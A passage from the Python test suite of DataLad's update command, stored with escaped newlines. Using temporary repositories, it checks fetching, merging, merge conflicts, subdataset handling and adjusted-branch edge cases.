url=remote_2)\\n\\n # modify the remotes:\\n (ds_rmt1.pathobj / \\\"first.txt\\\").write_text(\\\"some file load\\\")\\n ds_rmt1.save()\\n\\n # TODO: Modify an already present file!\\n\\n (ds_rmt2.pathobj / \\\"second.txt\\\").write_text(\\\"different file load\\\")\\n ds_rmt2.save()\\n\\n # Let's init some special remote which we couldn't really update/fetch\\n if not dl_cfg.get('datalad.tests.dataladremote'):\\n ds.repo.init_remote(\\n 'datalad',\\n ['encryption=none', 'type=external', 'externaltype=datalad'])\\n # fetch all remotes\\n assert_result_count(\\n ds.update(), 1, status='ok', type='dataset')\\n\\n # no merge, so changes are not in active branch:\\n assert_not_in(\\\"first.txt\\\",\\n ds.repo.get_files(ds.repo.get_active_branch()))\\n assert_not_in(\\\"second.txt\\\",\\n ds.repo.get_files(ds.repo.get_active_branch()))\\n # but we know the changes in remote branches:\\n assert_in(\\\"first.txt\\\", ds.repo.get_files(\\\"sibling_1/\\\" + DEFAULT_BRANCH))\\n assert_in(\\\"second.txt\\\", ds.repo.get_files(\\\"sibling_2/\\\" + DEFAULT_BRANCH))\\n\\n # no merge strategy for multiple remotes yet:\\n # more clever now, there is a tracking branch that provides a remote\\n #assert_raises(NotImplementedError, ds.update, merge=True)\\n\\n # merge a certain remote:\\n assert_result_count(\\n ds.update(sibling='sibling_1', merge=True),\\n 1, action='update', status='ok', type='dataset')\\n\\n # changes from sibling_2 still not present:\\n assert_not_in(\\\"second.txt\\\",\\n ds.repo.get_files(ds.repo.get_active_branch()))\\n # changes from sibling_1 merged:\\n assert_in(\\\"first.txt\\\",\\n ds.repo.get_files(ds.repo.get_active_branch()))\\n # it's known to annex, but has no content yet:\\n annexprops = ds.repo.get_file_annexinfo(\\n \\\"first.txt\\\", eval_availability=True)\\n annexprops['key'] # blows if unknown\\n eq_(False, annexprops['has_content'])\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_newthings_coming_down(originpath=None, destpath=None):\\n origin = GitRepo(originpath, create=True)\\n create_tree(originpath, {'load.dat': 'heavy'})\\n Dataset(originpath).save('load.dat')\\n ds = install(\\n source=originpath, path=destpath,\\n result_xfm='datasets', return_type='item-or-list')\\n assert_is_instance(ds.repo, GitRepo)\\n assert_in(DEFAULT_REMOTE, ds.repo.get_remotes())\\n # turn origin into an annex\\n origin = AnnexRepo(originpath, create=True)\\n # clone doesn't know yet\\n assert_false(knows_annex(ds.path))\\n # but after an update it should\\n # no merge, only one sibling, no parameters should be specific enough\\n assert_result_count(ds.update(), 1, status='ok', type='dataset')\\n assert(knows_annex(ds.path))\\n # no branches appeared\\n eq_(ds.repo.get_branches(), [DEFAULT_BRANCH])\\n # now merge, and get an annex\\n assert_result_count(ds.update(merge=True),\\n 1, action='update', status='ok', type='dataset')\\n assert_in('git-annex', ds.repo.get_branches())\\n assert_is_instance(ds.repo, AnnexRepo)\\n # should be fully functional\\n testfname = opj(ds.path, 'load.dat')\\n assert_false(ds.repo.file_has_content(testfname))\\n ds.get('.')\\n ok_file_has_content(opj(ds.path, 'load.dat'), 'heavy')\\n # check that a new tag comes down\\n origin.tag('first!')\\n assert_result_count(ds.update(), 1, status='ok', type='dataset')\\n eq_(ds.repo.get_tags(output='name')[0], 'first!')\\n\\n # and now we destroy the remote annex\\n origin.call_git(['config', '--remove-section', 'annex'])\\n rmtree(opj(origin.path, '.git', 'annex'), chmod_files=True)\\n origin.call_git(['branch', '-D', 'git-annex'])\\n origin = GitRepo(originpath)\\n assert_false(knows_annex(originpath))\\n\\n # and update the local clone\\n # for now this should simply not fail (see gh-793), later might be enhanced to a\\n # graceful downgrade\\n before_branches = ds.repo.get_branches()\\n ok_(any(\\\"git-annex\\\" in b\\n for b in ds.repo.get_remote_branches()))\\n assert_result_count(ds.update(), 1, status='ok', type='dataset')\\n eq_(before_branches, ds.repo.get_branches())\\n # annex branch got pruned\\n assert_false(any(\\\"git-annex\\\" in b\\n for b in ds.repo.get_remote_branches()))\\n # check that a new tag comes down even if repo types mismatch\\n origin.tag('second!')\\n assert_result_count(ds.update(), 1, status='ok', type='dataset')\\n eq_(ds.repo.get_tags(output='name')[-1], 'second!')\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_update_volatile_subds(originpath=None, otherpath=None, destpath=None):\\n origin = Dataset(originpath).create()\\n repo = origin.repo\\n if repo.is_managed_branch() and repo.git_annex_version <= \\\"8.20201129\\\":\\n # Fails before git-annex's fd161da2c (adjustTree: Consider submodule\\n # deletions, 2021-01-06).\\n raise SkipTest(\\n \\\"On adjusted branch, test requires fix in more recent git-annex\\\")\\n ds = install(\\n source=originpath, path=destpath,\\n result_xfm='datasets', return_type='item-or-list')\\n # as a submodule\\n sname = 'subm 1'\\n osm1 = origin.create(sname)\\n assert_result_count(ds.update(), 1, status='ok', type='dataset')\\n # nothing without a merge, no inappropriate magic\\n assert_not_in(sname, ds.subdatasets(result_xfm='relpaths'))\\n assert_result_count(ds.update(merge=True),\\n 1, action='update', status='ok', type='dataset')\\n # and we should be able to do update with recursive invocation\\n assert_result_count(ds.update(merge=True, recursive=True),\\n 1, action='update', status='ok', type='dataset')\\n # known, and placeholder exists\\n assert_in(sname, ds.subdatasets(result_xfm='relpaths'))\\n ok_(exists(opj(ds.path, sname)))\\n\\n # remove from origin\\n origin.remove(sname, reckless='availability')\\n assert_result_count(ds.update(merge=True),\\n 1, action='update', status='ok', type='dataset')\\n # gone locally, wasn't checked out\\n assert_not_in(sname, ds.subdatasets(result_xfm='relpaths'))\\n assert_false(exists(opj(ds.path, sname)))\\n\\n # re-introduce at origin\\n osm1 = origin.create(sname)\\n create_tree(osm1.path, {'load.dat': 'heavy'})\\n origin.save(opj(osm1.path, 'load.dat'))\\n assert_result_count(ds.update(merge=True),\\n 1, action='update', status='ok', type='dataset')\\n # grab new content of uninstall subdataset, right away\\n ds.get(opj(ds.path, sname, 'load.dat'))\\n ok_file_has_content(opj(ds.path, sname, 'load.dat'), 'heavy')\\n\\n # modify ds and subds at origin\\n create_tree(origin.path, {'mike': 'this', sname: {'probe': 'little'}})\\n origin.save(recursive=True)\\n assert_repo_status(origin.path)\\n\\n # updates for both datasets should come down the pipe\\n assert_result_count(ds.update(merge=True, recursive=True),\\n 2, action='update', status='ok', type='dataset')\\n assert_repo_status(ds.path)\\n\\n # now remove just-installed subdataset from origin again\\n origin.remove(sname, reckless='kill')\\n assert_not_in(sname, origin.subdatasets(result_xfm='relpaths'))\\n assert_in(sname, ds.subdatasets(result_xfm='relpaths'))\\n # merge should disconnect the installed subdataset, but leave the actual\\n # ex-subdataset alone\\n assert_result_count(ds.update(merge=True, recursive=True),\\n 1, action='update', type='dataset')\\n assert_not_in(sname, ds.subdatasets(result_xfm='relpaths'))\\n ok_file_has_content(opj(ds.path, sname, 'load.dat'), 'heavy')\\n ok_(Dataset(opj(ds.path, sname)).is_installed())\\n\\n # now remove the now disconnected subdataset for further tests\\n remove(dataset=op.join(ds.path, sname), reckless='kill')\\n assert_repo_status(ds.path)\\n\\n # new separate subdataset, not within the origin dataset\\n otherds = Dataset(otherpath).create()\\n # install separate dataset as a submodule\\n ds.install(source=otherds.path, path='other')\\n create_tree(otherds.path, {'brand': 'new'})\\n otherds.save()\\n assert_repo_status(otherds.path)\\n # pull in changes\\n res = ds.update(merge=True, recursive=True)\\n assert_result_count(\\n res, 2, status='ok', action='update', type='dataset')\\n # the next is to check for #2858\\n assert_repo_status(ds.path)\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_reobtain_data(originpath=None, destpath=None):\\n origin = Dataset(originpath).create()\\n ds = install(\\n source=originpath, path=destpath,\\n result_xfm='datasets', return_type='item-or-list')\\n # no harm\\n assert_result_count(ds.update(merge=True, reobtain_data=True),\\n 1, action=\\\"update\\\", status=\\\"ok\\\")\\n # content\\n create_tree(origin.path, {'load.dat': 'heavy'})\\n origin.save(opj(origin.path, 'load.dat'))\\n # update does not bring data automatically\\n assert_result_count(ds.update(merge=True, reobtain_data=True),\\n 1, action=\\\"update\\\", status=\\\"ok\\\")\\n assert_in('load.dat', ds.repo.get_annexed_files())\\n assert_false(ds.repo.file_has_content('load.dat'))\\n # now get data\\n ds.get('load.dat')\\n ok_file_has_content(opj(ds.path, 'load.dat'), 'heavy')\\n # new content at origin\\n create_tree(origin.path, {'novel': 'but boring'})\\n origin.save()\\n # update must not bring in data for new file\\n result = ds.update(merge=True, reobtain_data=True)\\n assert_in_results(result, action='get', status='notneeded')\\n\\n ok_file_has_content(opj(ds.path, 'load.dat'), 'heavy')\\n assert_in('novel', ds.repo.get_annexed_files())\\n assert_false(ds.repo.file_has_content('novel'))\\n # modify content at origin\\n os.remove(opj(origin.path, 'load.dat'))\\n create_tree(origin.path, {'load.dat': 'light'})\\n origin.save()\\n # update must update file with existing data, but leave empty one alone\\n res = ds.update(merge=True, reobtain_data=True)\\n assert_result_count(res, 1, status='ok', type='dataset', action='update')\\n assert_result_count(res, 1, status='ok', type='file', action='get')\\n ok_file_has_content(opj(ds.path, 'load.dat'), 'light')\\n assert_false(ds.repo.file_has_content('novel'))\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_multiway_merge(path=None):\\n # prepare ds with two siblings, but no tracking branch\\n ds = Dataset(op.join(path, 'ds_orig')).create()\\n r1 = AnnexRepo(path=op.join(path, 'ds_r1'), git_opts={'bare': True})\\n r2 = GitRepo(path=op.join(path, 'ds_r2'), git_opts={'bare': True})\\n ds.siblings(action='add', name='r1', url=r1.path)\\n ds.siblings(action='add', name='r2', url=r2.path)\\n assert_status('ok', ds.push(to='r1'))\\n # push unlike publish reports on r2 not being an annex remote with a\\n # 'notneeded'\\n assert_status(('ok', 'notneeded'), ds.push(to='r2'))\\n # just a fetch should be no issue\\n assert_status('ok', ds.update())\\n # ATM we do not support multi-way merges\\n assert_status('impossible', ds.update(merge=True, on_failure='ignore'))\\n\\n\\ndef test_unrelated_history_merge(tmp_path):\\n # prepare two independent datasets and try merging one into another\\n ds = Dataset(tmp_path / 'ds').create()\\n repo = AnnexRepo(tmp_path / 'repo')\\n f = (tmp_path / 'repo' / 'file.dat')\\n f.write_text(\\\"data\\\")\\n repo.add(str(f))\\n repo.commit()\\n # ATM we do not do any checks and allow such addition\\n assert_status('ok', ds.siblings(action='add', name='repo', url=repo.path))\\n res = ds.update(how='merge', on_failure='ignore')\\n # ATM we do not have any special handling, just that the first result record\\n # would have that error in \\\"message\\\" field\\n assert_status('error', res[0])\\n assert_in('refusing to merge unrelated histories', res[0]['message'])\\n\\n\\n# `git annex sync REMOTE` rather than `git merge TARGET` is used on an\\n# adjusted branch, so we don't give an error if TARGET can't be\\n# determined.\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_merge_no_merge_target(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"source\\\").create()\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n assert_repo_status(ds_src.path)\\n ds_clone.repo.checkout(DEFAULT_BRANCH, options=[\\\"-bnew\\\"])\\n res = ds_clone.update(merge=True, on_failure=\\\"ignore\\\")\\n assert_in_results(res, status=\\\"impossible\\\", action=\\\"update\\\")\\n\\n\\n# `git annex sync REMOTE` is used on an adjusted branch, but this error\\n# depends on `git merge TARGET` being used.\\n@skip_if_adjusted_branch\\n@slow # 17sec on Yarik's laptop\\n@with_tempfile(mkdir=True)\\ndef test_merge_conflict(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"src\\\").create()\\n ds_src_s0 = ds_src.create(\\\"s0\\\")\\n ds_src_s1 = ds_src.create(\\\"s1\\\")\\n ds_src.save()\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n ds_clone_s0 = Dataset(path / \\\"clone\\\" / \\\"s0\\\")\\n ds_clone_s1 = Dataset(path / \\\"clone\\\" / \\\"s1\\\")\\n\\n (ds_src.pathobj / \\\"foo\\\").write_text(\\\"src content\\\")\\n ds_src.save(to_git=True)\\n\\n (ds_clone.pathobj / \\\"foo\\\").write_text(\\\"clone content\\\")\\n ds_clone.save(to_git=True)\\n\\n # Top-level merge failure\\n res = ds_clone.update(merge=True, on_failure=\\\"ignore\\\")\\n assert_in_results(res, action=\\\"merge\\\", status=\\\"error\\\")\\n assert_in_results(res, action=\\\"update\\\", status=\\\"error\\\")\\n # Deal with the conflicts. Note that save() won't handle this gracefully\\n # because it will try to commit with a pathspec, which git doesn't allow\\n # during a merge.\\n ds_clone.repo.call_git([\\\"checkout\\\", \\\"--theirs\\\", \\\"--\\\", \\\"foo\\\"])\\n ds_clone.repo.call_git([\\\"add\\\", \\\"--\\\", \\\"foo\\\"])\\n ds_clone.repo.call_git([\\\"commit\\\", \\\"--no-edit\\\"])\\n assert_repo_status(ds_clone.path)\\n\\n # Top-level and subdataset merge failure\\n (ds_src_s0.pathobj / \\\"foo\\\").write_text(\\\"src s0 content\\\")\\n (ds_src_s1.pathobj / \\\"foo\\\").write_text(\\\"no conflict\\\")\\n ds_src.save(recursive=True, to_git=True)\\n\\n (ds_clone_s0.pathobj / \\\"foo\\\").write_text(\\\"clone s0 content\\\")\\n ds_clone.save(recursive=True, to_git=True)\\n res = ds_clone.update(merge=True, recursive=True, on_failure=\\\"ignore\\\")\\n assert_result_count(res, 2, action=\\\"merge\\\", status=\\\"error\\\")\\n assert_result_count(res, 2, action=\\\"update\\\", status=\\\"error\\\")\\n assert_in_results(res, action=\\\"merge\\\", status=\\\"ok\\\",\\n path=ds_clone_s1.path)\\n assert_in_results(res, action=\\\"update\\\", status=\\\"ok\\\",\\n path=ds_clone_s1.path)\\n # No saving happens if there's a top-level conflict.\\n assert_repo_status(ds_clone.path,\\n modified=[ds_clone_s0.path, ds_clone_s1.path])\\n\\n\\n# `git annex sync REMOTE` is used on an adjusted branch, but this error\\n# depends on `git merge TARGET` being used.\\n@skip_if_adjusted_branch\\n@slow # 13sec on Yarik's laptop\\n@with_tempfile(mkdir=True)\\ndef test_merge_conflict_in_subdataset_only(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"src\\\").create()\\n ds_src_sub_conflict = ds_src.create(\\\"sub_conflict\\\")\\n ds_src_sub_noconflict = ds_src.create(\\\"sub_noconflict\\\")\\n ds_src.save()\\n\\n # Set up a scenario where one subdataset has a conflict between the remote\\n # and local version, but the parent dataset does not have a conflict\\n # because it hasn't recorded the subdataset state.\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n ds_clone_sub_conflict = Dataset(path / \\\"clone\\\" / \\\"sub_conflict\\\")\\n ds_clone_sub_noconflict = Dataset(path / \\\"clone\\\" / \\\"sub_noconflict\\\")\\n\\n (ds_src_sub_conflict.pathobj / \\\"foo\\\").write_text(\\\"src content\\\")\\n ds_src_sub_conflict.save(to_git=True)\\n\\n (ds_clone_sub_conflict.pathobj / \\\"foo\\\").write_text(\\\"clone content\\\")\\n ds_clone_sub_conflict.save(to_git=True)\\n\\n (ds_src_sub_noconflict.pathobj / \\\"foo\\\").write_text(\\\"src content\\\")\\n ds_src_sub_noconflict.save()\\n\\n res = ds_clone.update(merge=True, recursive=True, on_failure=\\\"ignore\\\")\\n assert_in_results(res, action=\\\"merge\\\", status=\\\"error\\\",\\n path=ds_clone_sub_conflict.path)\\n assert_in_results(res, action=\\\"merge\\\", status=\\\"ok\\\",\\n path=ds_clone_sub_noconflict.path)\\n assert_in_results(res, action=\\\"save\\\", status=\\\"ok\\\",\\n path=ds_clone.path)\\n # We saved the subdataset without a conflict...\\n assert_repo_status(ds_clone_sub_noconflict.path)\\n # ... but the one with the conflict leaves it for the caller to handle.\\n ok_(ds_clone_sub_conflict.repo.call_git(\\n [\\\"ls-files\\\", \\\"--unmerged\\\", \\\"--\\\", \\\"foo\\\"], read_only=True).strip())\\n\\n\\n# `git annex sync REMOTE` is used on an adjusted branch, but this error\\n# depends on `git merge --ff-only ...` being used.\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_merge_ff_only(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"src\\\").create()\\n ds_clone_ff = install(source=ds_src.path, path=path / \\\"clone_ff\\\",\\n result_xfm=\\\"datasets\\\")\\n\\n ds_clone_nonff = install(source=ds_src.path, path=path / \\\"clone_nonff\\\",\\n result_xfm=\\\"datasets\\\")\\n\\n (ds_clone_nonff.pathobj / \\\"foo\\\").write_text(\\\"local change\\\")\\n ds_clone_nonff.save(recursive=True)\\n\\n (ds_src.pathobj / \\\"bar\\\").write_text(\\\"remote change\\\")\\n ds_src.save(recursive=True)\\n\\n assert_in_results(\\n ds_clone_ff.update(merge=\\\"ff-only\\\", on_failure=\\\"ignore\\\"),\\n action=\\\"merge\\\", status=\\\"ok\\\")\\n\\n # ff-only prevents a non-fast-forward ...\\n assert_in_results(\\n ds_clone_nonff.update(merge=\\\"ff-only\\\", on_failure=\\\"ignore\\\"),\\n action=\\\"merge\\\", status=\\\"error\\\")\\n # ... that would work with \\\"any\\\".\\n assert_in_results(\\n ds_clone_nonff.update(merge=\\\"any\\\", on_failure=\\\"ignore\\\"),\\n action=\\\"merge\\\", status=\\\"ok\\\")\\n\\n\\n@slow # 11sec on Yarik's laptop\\n@with_tempfile(mkdir=True)\\ndef test_merge_follow_parentds_subdataset_other_branch(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"source\\\").create()\\n on_adjusted = ds_src.repo.is_managed_branch()\\n ds_src_subds = ds_src.create(\\\"subds\\\")\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n ds_clone_subds = Dataset(ds_clone.pathobj / \\\"subds\\\")\\n\\n ds_src_subds.repo.call_git([\\\"checkout\\\", \\\"-b\\\", \\\"other\\\"])\\n (ds_src_subds.pathobj / \\\"foo\\\").write_text(\\\"foo content\\\")\\n ds_src.save(recursive=True)\\n assert_repo_status(ds_src.path)\\n\\n res = ds_clone.update(merge=True, follow=\\\"parentds\\\", recursive=True,\\n on_failure=\\\"ignore\\\")\\n if on_adjusted:\\n # Our git-annex sync based on approach on adjusted branches is\\n # incompatible with follow='parentds'.\\n assert_in_results(res, action=\\\"update\\\", status=\\\"impossible\\\")\\n return\\n else:\\n assert_in_results(res, action=\\\"update\\\", status=\\\"ok\\\")\\n eq_(ds_clone.repo.get_hexsha(), ds_src.repo.get_hexsha())\\n ok_(ds_clone_subds.repo.is_under_annex(\\\"foo\\\"))\\n\\n (ds_src_subds.pathobj / \\\"bar\\\").write_text(\\\"bar content\\\")\\n ds_src.save(recursive=True)\\n ds_clone_subds.repo.checkout(DEFAULT_BRANCH, options=[\\\"-bnew\\\"])\\n ds_clone.update(merge=True, follow=\\\"parentds\\\", recursive=True)\\n if not on_adjusted:\\n eq_(ds_clone.repo.get_hexsha(), ds_src.repo.get_hexsha())\\n\\n\\n# This test depends on the source repo being an un-adjusted branch.\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_merge_follow_parentds_subdataset_adjusted_warning(path=None):\\n path = Path(path)\\n\\n ds_src = Dataset(path / \\\"source\\\").create()\\n ds_src_subds = ds_src.create(\\\"subds\\\")\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n ds_clone_subds = Dataset(ds_clone.pathobj / \\\"subds\\\")\\n maybe_adjust_repo(ds_clone_subds.repo)\\n # Note: Were we to save ds_clone here, we would get a merge conflict in the\\n # top repo for the submodule (even if using 'git annex sync' rather than\\n # 'git merge').\\n\\n ds_src_subds.repo.call_git([\\\"checkout\\\", DEFAULT_BRANCH + \\\"^0\\\"])\\n (ds_src_subds.pathobj / \\\"foo\\\").write_text(\\\"foo content\\\")\\n ds_src.save(recursive=True)\\n assert_repo_status(ds_src.path)\\n\\n assert_in_results(\\n ds_clone.update(merge=True, recursive=True, follow=\\\"parentds\\\",\\n on_failure=\\\"ignore\\\"),\\n status=\\\"impossible\\\",\\n path=ds_clone_subds.path,\\n action=\\\"update\\\")\\n eq_(ds_clone.repo.get_hexsha(), ds_src.repo.get_hexsha())\\n\\n\\n@slow # 12 + 21sec on Yarik's laptop\\n@pytest.mark.parametrize(\\\"on_adjusted\\\", [True, False])\\n# Skip non-adjusted case for systems that only support adjusted branches.\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_merge_follow_parentds_subdataset_detached(path=None, *, on_adjusted):\\n if on_adjusted and DEFAULT_REMOTE != \\\"origin\\\" and \\\\\\n external_versions['cmd:annex'] <= \\\"8.20210330\\\":\\n raise SkipTest(\\n \\\"'git annex init' with adjusted branch currently fails \\\"\\n \\\"due to hard-coded 'origin'\\\")\\n\\n # Note: For the adjusted case, this is not much more than a smoke test that\\n # on an adjusted branch we fail sensibly. The resulting state is not easy\\n # to reason about nor desirable.\\n path = Path(path)\\n # $path/source/s0/s1\\n # The additional dataset level is to gain some confidence that this works\\n # for nested datasets.\\n ds_src = Dataset(path / \\\"source\\\").create()\\n ds_src_s0 = ds_src.create(\\\"s0\\\")\\n ds_src_s1 = ds_src_s0.create(\\\"s1\\\")\\n ds_src.save(recursive=True)\\n if on_adjusted:\\n # Note: We adjust after creating all the datasets above to avoid a bug\\n # fixed in git-annex 7.20191024, specifically bbdeb1a1a (sync: Fix\\n # crash when there are submodules and an adjusted branch is checked\\n # out, 2019-10-23).\\n for ds in [ds_src, ds_src_s0, ds_src_s1]:\\n maybe_adjust_repo(ds.repo)\\n ds_src.save(recursive=True)\\n assert_repo_status(ds_src.path)\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n ds_clone_s1 = Dataset(ds_clone.pathobj / \\\"s0\\\" / \\\"s1\\\")\\n\\n ds_src_s1.repo.checkout(DEFAULT_BRANCH + \\\"^0\\\")\\n (ds_src_s1.pathobj / \\\"foo\\\").write_text(\\\"foo content\\\")\\n ds_src.save(recursive=True)\\n assert_repo_status(ds_src.path)\\n\\n res = ds_clone.update(merge=True, recursive=True, follow=\\\"parentds\\\",\\n on_failure=\\\"ignore\\\")\\n if on_adjusted:\\n # The top-level update is okay because there is no parent revision to\\n # update to.\\n assert_in_results(\\n res,\\n status=\\\"ok\\\",\\n path=ds_clone.path,\\n action=\\\"update\\\")\\n # The subdataset, on the other hand, is impossible.\\n assert_in_results(\\n res,\\n status=\\\"impossible\\\",\\n path=ds_clone_s1.path,\\n action=\\\"update\\\")\\n return\\n assert_repo_status(ds_clone.path)\\n\\n # We brought in the revision and got to the same state of the remote.\\n # Blind saving here without bringing in the current subdataset revision\\n # would have resulted in a new commit in ds_clone that reverting the\\n # last subdataset ID recorded in ds_src.\\n eq_(ds_clone.repo.get_hexsha(), ds_src.repo.get_hexsha())\\n\\n # Record a revision in the parent and then move HEAD away from it so that\\n # the explicit revision fetch fails.\\n (ds_src_s1.pathobj / \\\"bar\\\").write_text(\\\"bar content\\\")\\n ds_src.save(recursive=True)\\n ds_src_s1.repo.checkout(DEFAULT_BRANCH)\\n # This is the default, but just in case:\\n ds_src_s1.repo.config.set(\\\"uploadpack.allowAnySHA1InWant\\\", \\\"false\\\",\\n scope=\\\"local\\\")\\n # Configure the fetcher to use v0 because Git defaults to v2 as of\\n # v2.26.0, which allows fetching unadvertised objects regardless\\n # of the value of uploadpack.allowAnySHA1InWant.\\n ds_clone_s1.repo.config.set(\\\"protocol.version\\\", \\\"0\\\", scope=\\\"local\\\")\\n res = ds_clone.update(merge=True, recursive=True, follow=\\\"parentds\\\",\\n on_failure=\\\"ignore\\\")\\n # The fetch with the explicit ref fails because it isn't advertised.\\n assert_in_results(\\n res,\\n status=\\\"impossible\\\",\\n path=ds_clone_s1.path,\\n action=\\\"update\\\")\\n\\n # Back to the detached head.\\n ds_src_s1.repo.checkout(\\\"HEAD@{1}\\\")\\n # Set up a case where update() will not resolve the sibling.\\n ds_clone_s1.repo.call_git([\\\"branch\\\", \\\"--unset-upstream\\\"])\\n ds_clone_s1.config.reload(force=True)\\n ds_clone_s1.repo.call_git([\\\"remote\\\", \\\"add\\\", \\\"other\\\", ds_src_s1.path])\\n res = ds_clone.update(recursive=True, follow=\\\"parentds\\\",\\n on_failure=\\\"ignore\\\")\\n # In this case, update() won't abort if we call with merge=False, but\\n # it does if the revision wasn't brought down in the `fetch(all_=True)`\\n # call.\\n assert_in_results(\\n res,\\n status=\\\"impossible\\\",\\n path=ds_clone_s1.path,\\n action=\\\"update\\\")\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_update_unborn_master(path=None):\\n ds_a = Dataset(op.join(path, \\\"ds-a\\\")).create()\\n ds_a.repo.call_git([\\\"branch\\\", \\\"-m\\\", DEFAULT_BRANCH, \\\"other\\\"])\\n ds_a.repo.checkout(DEFAULT_BRANCH, options=[\\\"--orphan\\\"])\\n ds_b = install(source=ds_a.path, path=op.join(path, \\\"ds-b\\\"))\\n\\n ds_a.repo.checkout(\\\"other\\\")\\n (ds_a.pathobj / \\\"foo\\\").write_text(\\\"content\\\")\\n ds_a.save()\\n\\n # clone() will try to switch away from an unborn branch if there\\n # is another ref available. Reverse these efforts so that we can\\n # test that update() fails reasonably here because we should still\\n # be able to update from remotes that datalad didn't clone.\\n ds_b.repo.update_ref(\\\"HEAD\\\", \\\"refs/heads/\\\" + DEFAULT_BRANCH,\\n symbolic=True)\\n assert_false(ds_b.repo.commit_exists(\\\"HEAD\\\"))\\n assert_status(\\\"impossible\\\",\\n ds_b.update(merge=True, on_failure=\\\"ignore\\\"))\\n\\n ds_b.repo.checkout(\\\"other\\\")\\n assert_status(\\\"ok\\\",\\n ds_b.update(merge=True, on_failure=\\\"ignore\\\"))\\n eq_(ds_a.repo.get_hexsha(), ds_b.repo.get_hexsha())\\n\\n\\n@slow # ~25s\\n@with_tempfile(mkdir=True)\\ndef test_update_follow_parentds_lazy(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"source\\\").create()\\n ds_src_s0 = ds_src.create(\\\"s0\\\")\\n ds_src_s0_s0 = ds_src_s0.create(\\\"s0\\\")\\n ds_src_s0.create(\\\"s1\\\")\\n ds_src_s1 = ds_src.create(\\\"s1\\\")\\n ds_src.create(\\\"s2\\\")\\n ds_src.save(recursive=True)\\n assert_repo_status(ds_src.path)\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n ds_clone_s0 = Dataset(ds_clone.pathobj / \\\"s0\\\")\\n ds_clone_s0_s0 = Dataset(ds_clone.pathobj / \\\"s0\\\" / \\\"s0\\\")\\n ds_clone_s0_s1 = Dataset(ds_clone.pathobj / \\\"s0\\\" / \\\"s1\\\")\\n ds_clone_s1 = Dataset(ds_clone.pathobj / \\\"s1\\\")\\n ds_clone_s2 = Dataset(ds_clone.pathobj / \\\"s2\\\")\\n\\n (ds_src_s0_s0.pathobj / \\\"foo\\\").write_text(\\\"in s0 s0\\\")\\n ds_src_s0_s0.save()\\n (ds_src_s1.pathobj / \\\"foo\\\").write_text(\\\"in s1\\\")\\n ds_src.save(recursive=True)\\n # State:\\n # .\\n # |-- s0\\n # | |-- s0\\n # | `-- s1 * matches registered commit\\n # |-- s1\\n # `-- s2 * matches registered commit\\n res = ds_clone.update(follow=\\\"parentds-lazy\\\", merge=True, recursive=True,\\n on_failure=\\\"ignore\\\")\\n on_adjusted = ds_clone.repo.is_managed_branch()\\n # For adjusted branches, follow=parentds* bails with an impossible result,\\n # so the s0 update doesn't get brought in and s0_s0 also matches the\\n # registered commit.\\n n_notneeded_expected = 3 if on_adjusted else 2\\n assert_result_count(res, n_notneeded_expected,\\n action=\\\"update\\\", status=\\\"notneeded\\\")\\n assert_in_results(res, action=\\\"update\\\", status=\\\"notneeded\\\",\\n path=ds_clone_s0_s1.repo.path)\\n assert_in_results(res, action=\\\"update\\\", status=\\\"notneeded\\\",\\n path=ds_clone_s2.repo.path)\\n if on_adjusted:\\n assert_in_results(res, action=\\\"update\\\", status=\\\"notneeded\\\",\\n path=ds_clone_s0_s0.repo.path)\\n assert_repo_status(ds_clone.path,\\n modified=[ds_clone_s0.repo.path,\\n ds_clone_s1.repo.path])\\n else:\\n assert_repo_status(ds_clone.path)\\n\\n\\n@slow # ~10s\\n@with_tempfile(mkdir=True)\\ndef test_update_follow_parentds_lazy_other_branch(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"source\\\").create()\\n ds_src_sub = ds_src.create(\\\"sub\\\")\\n ds_src_sub.repo.checkout(DEFAULT_BRANCH, options=[\\\"-bother\\\"])\\n (ds_src_sub.pathobj / \\\"foo\\\").write_text(\\\"on other branch\\\")\\n ds_src_sub.save()\\n ds_src_sub.repo.checkout(DEFAULT_BRANCH)\\n ds_src.save(recursive=True)\\n assert_repo_status(ds_src.path)\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n ds_src_sub.repo.checkout(\\\"other\\\")\\n ds_src.save(recursive=True)\\n\\n with patch(\\\"datalad.support.gitrepo.GitRepo.fetch\\\") as fetch_cmd:\\n ds_clone.update(follow=\\\"parentds\\\", merge=\\\"ff-only\\\",\\n recursive=True, on_failure=\\\"ignore\\\")\\n eq_(fetch_cmd.call_count, 2)\\n\\n # With parentds-lazy, an unneeded fetch call in the subdataset is dropped.\\n with 